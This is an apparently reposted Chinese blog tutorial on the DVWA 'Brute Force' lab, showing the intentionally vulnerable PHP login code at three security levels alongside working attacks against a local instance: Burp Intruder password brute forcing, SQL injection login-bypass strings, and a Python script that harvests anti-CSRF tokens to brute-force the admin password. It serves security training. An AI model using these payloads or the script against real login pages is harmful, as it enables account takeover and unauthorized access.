DVWA学习(三)Brute Force(暴力破解)

BF算法,即暴风(Brute Force)算法,是普通的模式匹配算法,BF算法的思想就是将目标串S的第一个字符与模式串T的第一个字符进行匹配,若相等,则继续比较S的第二个字符和 T的第二个字符;若不相等,则比较S的第二个字符和T的第一个字符,依次比较下去,直到得出最后的匹配结果。BF算法是一种蛮力算法。

一.Burp Intruder模块

Burp Intruder是一个强大的工具,用于自动对Web应用程序自定义的攻击,Burp Intruder 是高度可配置的,并被用来在广范围内进行自动化攻击。
**原理:Intruder在原始请求数据的基础上,通过修改各种请求参数,以获取不同的请求应答。**每一次请求中,Intruder通常会携带一个或多个有效攻击载荷(Payload),在不同的位置进行攻击重放,通过应答数据的比对分析来获得需要的特征数据。Burp Intruder通常被使用在以下场景:

  • 标识符枚举 Web应用程序经常使用标识符来引用用户、账户、资产等数据信息。例如,用户名,文件ID和账户号码。
  • 提取有用的数据 在某些场景下,而不是简单地识别有效标识符,你需要通过简单标识符提取一些其他的数据。比如说,你想通过用户的个人空间id,获取所有用户在个人空间标准的昵称和年龄。
  • 模糊测试 很多输入型的漏洞,如SQL注入,跨站点脚本和文件路径遍历可以通过请求参数提交各种测试字符串,并分析错误消息和其他异常情况,来对应用程序进行检测。由于的应用程序的大小和复杂性,手动执行这个测试是一个耗时且繁琐的过程。这样的场景,您可以设置Payload,通过Burp Intruder自动化地对Web应用程序进行模糊测试。

详细选项配置参考BurpSuite系列(五)----Intruder模块(暴力破解)

下面将对四种级别的代码进行分析。

Low

服务器端核心代码

<?php

if( isset( $_GET[ 'Login' ] ) ) {
	// Get username
	$user = $_GET[ 'username' ];

	// Get password
	$pass = $_GET[ 'password' ];
	$pass = md5( $pass );

	// Check the database
	$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

	if( $result && mysqli_num_rows( $result ) == 1 ) {
		// Get users details
		$row    = mysqli_fetch_assoc( $result );
		$avatar = $row["avatar"];

		// Login successful
		$html .= "<p>Welcome to the password protected area {$user}</p>";
		$html .= "<img src=\"{$avatar}\" />";
	}
	else {
		// Login failed
		$html .= "<pre><br />Username and/or password incorrect.</pre>";
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

服务器只是验证了参数Login是否被设置(isset函数在php中用来检测变量是否设置,该函数返回的是布尔类型的值,即true/false),没有任何的防爆破机制,且对参数username、password没有做任何过滤,存在明显的sql注入漏洞。

漏洞利用

方法一 爆破利用burpsuite即可完成

第一步抓包
在这里插入图片描述
第二步,ctrl+I将包复制到intruder模块,因为要对password参数进行爆破,所以在password参数的内容添加标记。
在这里插入图片描述
第三步选中Payloads,载入字典,点击Start attack进行爆破。
在这里插入图片描述
最后,尝试在爆破结果中找到正确的密码,可以看到password的响应包长度(length)“与众不同”,可推测password为正确密码,手工验证登陆成功。
在这里插入图片描述

方法二 手工sql注入

因为mysqli_num_rows( $result ) == 1,所以产生的结果数必须为1条,而且密码经过了md5加密,是不可控的,所以只能在username上构造语句:
SELECT * FROM ‘users’ WHERE user = ‘1’ or 1=1 limit 0,1#’ AND password = ‘随意填’;

用户名:1’ or 1=1 limit 0,1#
密码:随意
在这里插入图片描述
当然如果你知道一个用户名为admin的话,也可以构造:
SELECT * FROM ‘users’ WHERE user = ‘admin’#’ AND password = ‘$pass’;
在这里插入图片描述

Medium

服务器端核心代码

<?php

if( isset( $_GET[ 'Login' ] ) ) {
	// Sanitise username input
	$user = $_GET[ 'username' ];
	$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Sanitise password input
	$pass = $_GET[ 'password' ];
	$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	$pass = md5( $pass );

	// Check the database
	$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

	if( $result && mysqli_num_rows( $result ) == 1 ) {
		// Get users details
		$row    = mysqli_fetch_assoc( $result );
		$avatar = $row["avatar"];

		// Login successful
		$html .= "<p>Welcome to the password protected area {$user}</p>";
		$html .= "<img src=\"{$avatar}\" />";
	}
	else {
		// Login failed
		sleep( 2 );
		$html .= "<pre><br />Username and/or password incorrect.</pre>";
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

相比Low级别的代码,Medium级别的代码主要增加了mysql_real_escape_string函数,这个函数会对字符串中的特殊符号(x00,n,r,,’,”,x1a)进行转义,基本上能够抵御sql注入攻击,说基本上是因为查到说 MySQL5.5.37以下版本如果设置编码为GBK,能够构造编码绕过mysql_real_escape_string 对单引号的转义,通过phpstudy打开mysql命令行查看mysql版本。
具体的mysql_real_escape_string函数绕过问题详见
魔术引号、addslashes和mysql_real_escape_string的防御以及绕过
PHP字符编码绕过漏洞总结
在这里插入图片描述实验环境为MySQL5.7.21,同时,$pass做了MD5校验,杜绝了通过参数password进行sql注入的可能性。但是,依然没有加入有效的防爆破机制。
如果密码错误的话会sleep( 2 ),每一次的请求包响应时间由毫秒基本变成了2~10秒。这样大大的增加了我们破解出密码锁需要的时间。步骤与LOW模式一致。
这里就当作不知道用户名和密码,添加两个字典用集束炸弹模式用笛卡儿积的方式同时暴破两个参数:
在这里插入图片描述
设置payload1,2对应的用户名密码字典
在这里插入图片描述
在响应头提取welcome:
在这里插入图片描述
等待筛选到的welcome即可。
在这里插入图片描述
组合次数非常大。

High

服务器端核心代码

<?php

if( isset( $_GET[ 'Login' ] ) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

	// Sanitise username input
	$user = $_GET[ 'username' ];
	$user = stripslashes( $user );
	$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Sanitise password input
	$pass = $_GET[ 'password' ];
	$pass = stripslashes( $pass );
	$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	$pass = md5( $pass );

	// Check database
	$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

	if( $result && mysqli_num_rows( $result ) == 1 ) {
		// Get users details
		$row    = mysqli_fetch_assoc( $result );
		$avatar = $row["avatar"];

		// Login successful
		$html .= "<p>Welcome to the password protected area {$user}</p>";
		$html .= "<img src=\"{$avatar}\" />";
	}
	else {
		// Login failed
		sleep( rand( 0, 3 ) );
		$html .= "<pre><br />Username and/or password incorrect.</pre>";
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

High级别的代码加入了Token,可以抵御CSRF攻击,同时也增加了爆破的难度,通过抓包,可以看到,登录验证时提交了四个参数:username、password、Login以及user_token。
在这里插入图片描述
每次服务器返回的登陆页面中都会包含一个随机的user_token的值,用户每次登录时都要将user_token一起提交。服务器收到请求后,会优先做token的检查,再进行sql查询。
在这里插入图片描述
同时,High级别的代码中,使用了stripslashes(去除字符串中的反斜线字符,如果有两个连续的反斜线,则只去掉一个)、 mysql_real_escape_string对参数username、password进行过滤、转义,进一步抵御sql注入。

漏洞利用

由于加入了Anti-CSRFtoken预防无脑爆破,这里使用python脚本进行爆破。python 脚本(python 2.7),用户名为admin,对password参数进行爆破并打印结果。

from bs4 import BeautifulSoup

import urllib2

header={

    'Host':'127.0.0.1',

    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0',

    'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',

    'Accept-Language':'en-US,en;q=0.5',

    'Accept-Encoding':'gzip, deflate',

    'Referer':'http://127.0.0.1/vulnerabilities/brute/index.php',

    'Cookie':'security=high; PHPSESSID=fvdht9e8smk3cbo57rr11jufn3',

    'Connection':'close',

    'Upgrade-Insecure-Requests':'1'}

requrl = "http://127.0.0.1/vulnerabilities/brute/"

def get_token(requrl,header):

    req = urllib2.Request(url=requrl,headers=header)

    response = urllib2.urlopen(req)

    print response.getcode(),

    the_page = response.read()

    print len(the_page)

    soup = BeautifulSoup(the_page,"html.parser")

    d = soup.find_all('input', attrs={'name':'user_token'})

    user_token = d[0].attrs['value']

    return user_token

user_token = get_token(requrl,header)

i=0


for line in open("rkolin.txt"):
	requrl = "http://127.0.0.1/vulnerabilities/brute/"+"?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
	i = i+1
	print i,'admin',line.strip(),
	user_token = get_token(requrl,header)
	if (i == 10):
		break

对比结果看到,密码为password时返回的长度不太一样,手工验证,登录成功,爆破完成。
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/yusakul/article/details/84449196